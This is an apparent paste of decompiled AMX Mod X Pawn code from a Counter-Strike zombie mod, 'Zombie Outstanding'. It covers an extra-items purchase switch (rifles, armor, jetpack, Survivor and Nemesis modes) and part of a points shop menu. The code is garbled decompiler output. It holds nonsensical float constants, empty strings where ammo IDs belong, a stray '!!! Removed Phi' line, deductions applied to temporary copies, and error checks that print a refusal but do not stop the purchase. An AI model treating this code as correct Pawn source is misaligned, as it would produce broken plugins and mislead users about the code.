  6048. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6049. {
  6050. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6051. return 0;
  6052. }
  6053. if (user_has_weapon(iPlayer, 20, -1))
  6054. {
  6055. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  6056. }
  6057. else
  6058. {
  6059. DropWeapons(iPlayer, 8899675000000000.00/*1509749160*/);
  6060. give_weapon(iPlayer, "weapon_m249");
  6061. give_ammo(iPlayer, 20, 9999);
  6062. new var84 = g_iPacks[iPlayer];
  6063. var84 = var84[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6064. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6065. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
  6066. }
  6067. }
  6068. case 7:
  6069. {
  6070. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6071. {
  6072. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6073. return 0;
  6074. }
  6075. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6076. {
  6077. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6078. return 0;
  6079. }
  6080. if (user_has_weapon(iPlayer, 24, -1))
  6081. {
  6082. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  6083. }
  6084. else
  6085. {
  6086. DropWeapons(iPlayer, 8899675000000000.00/*1509749160*/);
  6087. give_weapon(iPlayer, "weapon_g3sg1");
  6088. give_ammo(iPlayer, 24, 9999);
  6089. new var83 = g_iPacks[iPlayer];
  6090. var83 = var83[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6091. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6092. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
  6093. }
  6094. }
  6095. case 8:
  6096. {
  6097. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6098. {
  6099. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6100. return 0;
  6101. }
  6102. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6103. {
  6104. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6105. return 0;
  6106. }
  6107. if (user_has_weapon(iPlayer, 13, -1))
  6108. {
  6109. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  6110. }
  6111. else
  6112. {
  6113. DropWeapons(iPlayer, 8899675000000000.00/*1509749160*/);
  6114. give_weapon(iPlayer, "weapon_sg550");
  6115. give_ammo(iPlayer, "", 9999);
  6116. new var82 = g_iPacks[iPlayer];
  6117. var82 = var82[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6118. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6119. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
  6120. }
  6121. }
  6122. case 9:
  6123. {
  6124. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6125. {
  6126. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6127. return 0;
  6128. }
  6129. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6130. {
  6131. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6132. return 0;
  6133. }
  6134. if (user_has_weapon(iPlayer, 9, -1))
  6135. {
  6136. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  6137. }
  6138. else
  6139. {
  6140. DropWeapons(iPlayer, 8899675000000000.00/*1509749160*/);
  6141. give_weapon(iPlayer, "weapon_awp");
  6142. give_ammo(iPlayer, "", 9999);
  6143. new var81 = g_iPacks[iPlayer];
  6144. var81 = var81[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6145. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6146. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
  6147. }
  6148. }
  6149. case 10:
  6150. {
  6151. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6152. {
  6153. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6154. return 0;
  6155. }
  6156. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6157. {
  6158. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6159. return 0;
  6160. }
  6161. if (g_bFlash[iPlayer][0][0])
  6162. {
  6163. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  6164. }
  6165. else
  6166. {
  6167. g_bFlashEnabled[iPlayer] = 1;
  6168. g_bFlash[iPlayer] = 1;
  6169. remove_task(iPlayer + 350, 0);
  6170. set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
  6171. new var80 = g_iPacks[iPlayer];
  6172. var80 = var80[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6173. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6174. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
  6175. }
  6176. }
  6177. case 11:
  6178. {
  6179. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6180. {
  6181. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6182. return 0;
  6183. }
  6184. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6185. {
  6186. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6187. return 0;
  6188. }
  6189. if (g_bNoDamage[iPlayer][0][0])
  6190. {
  6191. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  6192. }
  6193. else
  6194. {
  6195. g_bNoDamage[iPlayer] = 1;
  6196. set_take_damage(iPlayer, 0);
  6197. sound(iPlayer, "", "ZombieOutstanding/zombie_madness.wav");
  6198. set_glow(iPlayer, 19, "", 255, 0, 0);
  6199. set_task(4.00, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
  6200. new var79 = g_iPacks[iPlayer];
  6201. var79 = var79[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6202. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6203. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer][0][0]);
  6204. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Zombie Madness", g_cName[iPlayer][0][0]);
  6205. }
  6206. }
  6207. case 12:
  6208. {
  6209. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6210. {
  6211. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6212. return 0;
  6213. }
  6214. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6215. {
  6216. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6217. return 0;
  6218. }
  6219. if (get_user_jetpack(iPlayer))
  6220. {
  6221. user_drop_jetpack(iPlayer, "");
  6222. }
  6223. set_user_jetpack(iPlayer, "");
  6224. set_user_fuel(iPlayer, 250.00/*1132068864*/);
  6225. set_user_rocket_time(iPlayer, 0);
  6226. send_say_text(iPlayer, g_iMaxClients + 1, 312700);
  6227. send_say_text(iPlayer, g_iMaxClients + 1, 312896);
  6228. new var78 = g_iPacks[iPlayer];
  6229. var78 = var78[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6230. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6231. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer][0][0]);
  6232. }
  6233. case 13:
  6234. {
  6235. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6236. {
  6237. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6238. return 0;
  6239. }
  6240. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6241. {
  6242. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6243. return 0;
  6244. }
  6245. if (g_bUnlimitedClip[iPlayer][0][0])
  6246. {
  6247. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  6248. }
  6249. else
  6250. {
  6251. g_bUnlimitedClip[iPlayer] = 1;
  6252. new var77 = g_iPacks[iPlayer];
  6253. var77 = var77[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6254. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6255. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
  6256. }
  6257. }
  6258. case 14:
  6259. {
  6260. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6261. {
  6262. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6263. return 0;
  6264. }
  6265. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6266. {
  6267. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6268. return 0;
  6269. }
  6270. if (120 < get_armor(iPlayer))
  6271. {
  6272. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  6273. }
  6274. else
  6275. {
  6276. set_armor(iPlayer, get_armor(iPlayer) + 100);
  6277. sound(iPlayer, "", "ZombieOutstanding/armor_equip.wav");
  6278. new var76 = g_iPacks[iPlayer];
  6279. var76 = var76[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6280. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6281. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
  6282. }
  6283. }
  6284. case 15:
  6285. {
  6286. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6287. {
  6288. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6289. return 0;
  6290. }
  6291. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6292. {
  6293. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6294. return 0;
  6295. }
  6296. if (120 < get_armor(iPlayer))
  6297. {
  6298. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  6299. }
  6300. else
  6301. {
  6302. set_armor(iPlayer, get_armor(iPlayer) + 200);
  6303. sound(iPlayer, "", "ZombieOutstanding/armor_equip.wav");
  6304. new var75 = g_iPacks[iPlayer];
  6305. var75 = var75[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6306. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6307. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
  6308. }
  6309. }
  6310. case 16:
  6311. {
  6312. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6313. {
  6314. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6315. return 0;
  6316. }
  6317. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6318. {
  6319. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6320. return 0;
  6321. }
  6322. g_iMaxJumps[iPlayer]++;
  6323. new var74 = g_iPacks[iPlayer];
  6324. var74 = var74[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6325. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6326. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iMaxJumps[iPlayer][0][0] + 1);
  6327. }
  6328. case 17:
  6329. {
  6330. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6331. {
  6332. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6333. return 0;
  6334. }
  6335. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6336. {
  6337. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6338. return 0;
  6339. }
  6340. if (g_bTryder[iPlayer][0][0])
  6341. {
  6342. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  6343. }
  6344. else
  6345. {
  6346. g_bTryder[iPlayer] = 1;
  6347. strip(iPlayer);
  6348. set_armor(iPlayer, "");
  6349. set_health(iPlayer, "");
  6350. give_weapon(iPlayer, "weapon_knife");
  6351. give_weapon(iPlayer, "weapon_deagle");
  6352. give_weapon(iPlayer, "weapon_xm1014");
  6353. give_weapon(iPlayer, "weapon_sg550");
  6354. give_weapon(iPlayer, "weapon_g3sg1");
  6355. give_weapon(iPlayer, "weapon_ak47");
  6356. give_weapon(iPlayer, "weapon_hegrenade");
  6357. give_weapon(iPlayer, "weapon_flashbang");
  6358. give_weapon(iPlayer, "weapon_smokegrenade");
  6359. give_ammo(iPlayer, "", 9999);
  6360. give_ammo(iPlayer, "", 9999);
  6361. give_ammo(iPlayer, "", 9999);
  6362. give_ammo(iPlayer, 24, 9999);
  6363. give_ammo(iPlayer, 28, 9999);
  6364. g_bUnlimitedClip[iPlayer] = 1;
  6365. set_glow(iPlayer, 19, 60, 155, 48, 255);
  6366. sound(iPlayer, "", "ZombieOutstanding/armor_equip.wav");
  6367. ExecuteHamB(Ham_Item_PreFrame, iPlayer);
  6368. new var73 = g_iPacks[iPlayer];
  6369. var73 = var73[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6370. set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6371. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer][0][0]);
  6372. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 is now a\4 Tryder", g_cName[iPlayer][0][0]);
  6373. }
  6374. }
  6375. case 18:
  6376. {
  6377. if (g_iSurvivors)
  6378. {
  6379. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 There already was a survivor this map!");
  6380. return 0;
  6381. }
  6382. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6383. {
  6384. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6385. return 0;
  6386. }
  6387. static cTime[3];
  6388. static i;
  6389. static bool:bDone;
  6390. static Float:fGameTime;
  6391. fGameTime = get_gametime();
  6392. bDone = 1;
  6393. get_time("%H", cTime, 3);
  6394. i = 0;
  6395. while (i < g_iModeRecordings)
  6396. {
  6397. if (equali(g_cModeRecordings[i][0][0], g_cName[iPlayer][0][0], 0))
  6398. {
  6399. bDone = 0;
  6400. i += 1;
  6401. }
  6402. i += 1;
  6403. }
  6404. if (!bDone)
  6405. {
  6406. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You\3 already bought\1 a game mode this map!");
  6407. }
  6408. else
  6409. {
  6410. if (fGameTime - g_fRoundStartTime < 3.00/*1077936128*/)
  6411. {
  6412. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Please wait at least\4 three seconds\1 after the round begining!");
  6413. }
  6414. if (cTime[0][0] == 48)
  6415. {
  6416. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't be\3 Survivor\1 during night...");
  6417. }
  6418. if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount][0][0] && !g_iRounds[g_iRoundsCount + -1][0][0] && g_bRoundStart)
  6419. {
  6420. g_bRoundStart = 0;
  6421. remove_task(550, 0);
  6422. StartSurvivorMode(iPlayer);
  6423. remove_task(700, 0);
  6424. new var72 = g_iPacks[iPlayer];
  6425. var72 = var72[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6426. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6427. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor!", g_cName[iPlayer][0][0]);
  6428. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Survivor", g_cName[iPlayer][0][0]);
  6429. copy(g_cModeRecordings[g_iModeRecordings][0][0], 32, g_cName[iPlayer][0][0]);
  6430. g_iModeRecordings += 1;
  6431. g_iSurvivors += 1;
  6432. }
  6433. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Sorry but you can't buy right now...");
  6434. }
  6435. }
  6436. case 19:
  6437. {
  6438. if (g_iSnipers)
  6439. {
  6440. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 There already was a sniper this map!");
  6441. return 0;
  6442. }
  6443. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6444. {
  6445. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6446. return 0;
  6447. }
  6448. static cTime[3];
  6449. static i;
  6450. static bool:bDone;
  6451. static Float:fGameTime;
  6452. fGameTime = get_gametime();
  6453. bDone = 1;
  6454. get_time("%H", cTime, 3);
  6455. i = 0;
  6456. while (i < g_iModeRecordings)
  6457. {
  6458. if (equali(g_cModeRecordings[i][0][0], g_cName[iPlayer][0][0], 0))
  6459. {
  6460. bDone = 0;
  6461. i += 1;
  6462. }
  6463. i += 1;
  6464. }
  6465. if (!bDone)
  6466. {
  6467. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You\3 already bought\1 a game mode this map!");
  6468. }
  6469. else
  6470. {
  6471. if (fGameTime - g_fRoundStartTime < 3.00/*1077936128*/)
  6472. {
  6473. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Please wait at least\4 three seconds\1 after the round begining!");
  6474. }
  6475. if (cTime[0][0] == 48)
  6476. {
  6477. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't be\3 Sniper\1 during night...");
  6478. }
  6479. if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount][0][0] && !g_iRounds[g_iRoundsCount + -1][0][0] && g_bRoundStart)
  6480. {
  6481. g_bRoundStart = 0;
  6482. remove_task(550, 0);
  6483. StartSniperMode(iPlayer);
  6484. remove_task(700, 0);
  6485. new var71 = g_iPacks[iPlayer];
  6486. var71 = var71[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6487. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6488. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper!", g_cName[iPlayer][0][0]);
  6489. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Sniper", g_cName[iPlayer][0][0]);
  6490. copy(g_cModeRecordings[g_iModeRecordings][0][0], 32, g_cName[iPlayer][0][0]);
  6491. g_iModeRecordings += 1;
  6492. g_iSnipers += 1;
  6493. }
  6494. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Sorry but you can't buy right now...");
  6495. }
  6496. }
  6497. case 20:
  6498. {
  6499. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6500. {
  6501. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6502. return 0;
  6503. }
  6504. static i;
  6505. static bool:bDone;
  6506. static Float:fGameTime;
  6507. fGameTime = get_gametime();
  6508. bDone = 1;
  6509. i = 0;
  6510. while (i < g_iModeRecordings)
  6511. {
  6512. if (equali(g_cModeRecordings[i][0][0], g_cName[iPlayer][0][0], 0))
  6513. {
  6514. bDone = 0;
  6515. i += 1;
  6516. }
  6517. i += 1;
  6518. }
  6519. if (!bDone)
  6520. {
  6521. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You\3 already bought\1 a game mode this map!");
  6522. }
  6523. else
  6524. {
  6525. if (fGameTime - g_fRoundStartTime < 3.00/*1077936128*/)
  6526. {
  6527. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Please wait at least\4 three seconds\1 after the round begining!");
  6528. }
  6529. if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount][0][0] && !g_iRounds[g_iRoundsCount + -1][0][0] && g_bRoundStart)
  6530. {
  6531. g_bRoundStart = 0;
  6532. remove_task(550, 0);
  6533. StartNemesisMode(iPlayer);
  6534. remove_task(700, 0);
  6535. new var70 = g_iPacks[iPlayer];
  6536. var70 = var70[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6537. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6538. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis!", g_cName[iPlayer][0][0]);
  6539. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Nemesis", g_cName[iPlayer][0][0]);
  6540. copy(g_cModeRecordings[g_iModeRecordings][0][0], 32, g_cName[iPlayer][0][0]);
  6541. g_iModeRecordings += 1;
  6542. }
  6543. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Sorry but you can't buy right now...");
  6544. }
  6545. }
  6546. case 21:
  6547. {
  6548. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6549. {
  6550. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6551. return 0;
  6552. }
  6553. static i;
  6554. static bool:bDone;
  6555. static Float:fGameTime;
  6556. fGameTime = get_gametime();
  6557. bDone = 1;
  6558. i = 0;
  6559. while (i < g_iModeRecordings)
  6560. {
  6561. if (equali(g_cModeRecordings[i][0][0], g_cName[iPlayer][0][0], 0))
  6562. {
  6563. bDone = 0;
  6564. i += 1;
  6565. }
  6566. i += 1;
  6567. }
  6568. if (!bDone)
  6569. {
  6570. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You\3 already bought\1 a game mode this map!");
  6571. }
  6572. else
  6573. {
  6574. if (fGameTime - g_fRoundStartTime < 3.00/*1077936128*/)
  6575. {
  6576. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Please wait at least\4 three seconds\1 after the round begining!");
  6577. }
  6578. if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount][0][0] && !g_iRounds[g_iRoundsCount + -1][0][0] && g_bRoundStart)
  6579. {
  6580. g_bRoundStart = 0;
  6581. remove_task(550, 0);
  6582. StartAssassinMode(iPlayer);
  6583. remove_task(700, 0);
  6584. new var69 = g_iPacks[iPlayer];
  6585. var69 = var69[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6586. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6587. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer][0][0]);
  6588. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Assassin", g_cName[iPlayer][0][0]);
  6589. copy(g_cModeRecordings[g_iModeRecordings][0][0], 32, g_cName[iPlayer][0][0]);
  6590. g_iModeRecordings += 1;
  6591. }
  6592. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Sorry but you can't buy right now...");
  6593. }
  6594. }
  6595. case 22:
  6596. {
  6597. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6598. {
  6599. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6600. return 0;
  6601. }
  6602. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6603. {
  6604. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6605. return 0;
  6606. }
  6607. new var67 = g_iBlinks[iPlayer];
  6608. var67 = var67[0][0] + 6;
  6609. new var68 = g_iPacks[iPlayer];
  6610. var68 = var68[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6611. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6612. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer][0][0]);
  6613. }
  6614. default:
  6615. {
  6616. }
  6617. }
  6618. }
  6619. return 0;
  6620. }
  6621.  
  6622. public _ShopMenu(iPlayer, iMenu, iItem)
  6623. {
  6624. !!! Removed Phi
  6625. if (iItem != -3 && g_bConnected[iPlayer][0][0] && !g_bFake[iPlayer][0][0])
  6626. {
  6627. static iChoice;
  6628. static iDummy;
  6629. static cBuffer[3];
  6630. new var8 = Heap_4;
  6631. var8[0] = 261596;
  6632. menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var8, 0, iDummy);
  6633. iChoice = str_to_num(cBuffer);
  6634. switch (iChoice)
  6635. {
  6636. case 0:
  6637. {
  6638. if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
  6639. {
  6640. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
  6641. }
  6642. else
  6643. {
  6644. if (g_iShopItemsTeams[iChoice][0][0] == 2 && g_bZombie[iPlayer][0][0])
  6645. {
  6646. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6647. }
  6648. g_bDoubleDamage[iPlayer] = 1;
  6649. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6650. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Double Damage!", g_cName[iPlayer][0][0]);
  6651. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Double Damage", g_cName[iPlayer][0][0]);
  6652. new var19 = g_iPoints[iPlayer];
  6653. var19 = var19[0][0] - g_iShopItemsPrices[iChoice][0][0];
  6654. SaveRank(iPlayer);
  6655. }
  6656. }
  6657. case 1:
  6658. {
  6659. if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
  6660. {
  6661. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
  6662. }
  6663. else
  6664. {
  6665. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 114))
  6666. {
  6667. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have this feature!");
  6668. }
  6669. g_bServerSlot[iPlayer] = 1;
  6670. client_cmd(iPlayer, "messagemode amx_password_for_slot");
  6671. set_task(0.20, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
  6672. new var18 = g_iPoints[iPlayer];
  6673. var18 = var18[0][0] - g_iShopItemsPrices[iChoice][0][0];
  6674. SaveRank(iPlayer);
  6675. }
  6676. }
  6677. case 2:
  6678. {
  6679. if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
  6680. {
  6681. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
  6682. }
  6683. else
  6684. {
  6685. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 109))
  6686. {
  6687. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have this feature!");
  6688. }
  6689. g_bAdminModel[iPlayer] = 1;
  6690. client_cmd(iPlayer, "messagemode amx_password_for_model");
  6691. set_task(0.20, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
  6692. new var17 = g_iPoints[iPlayer];
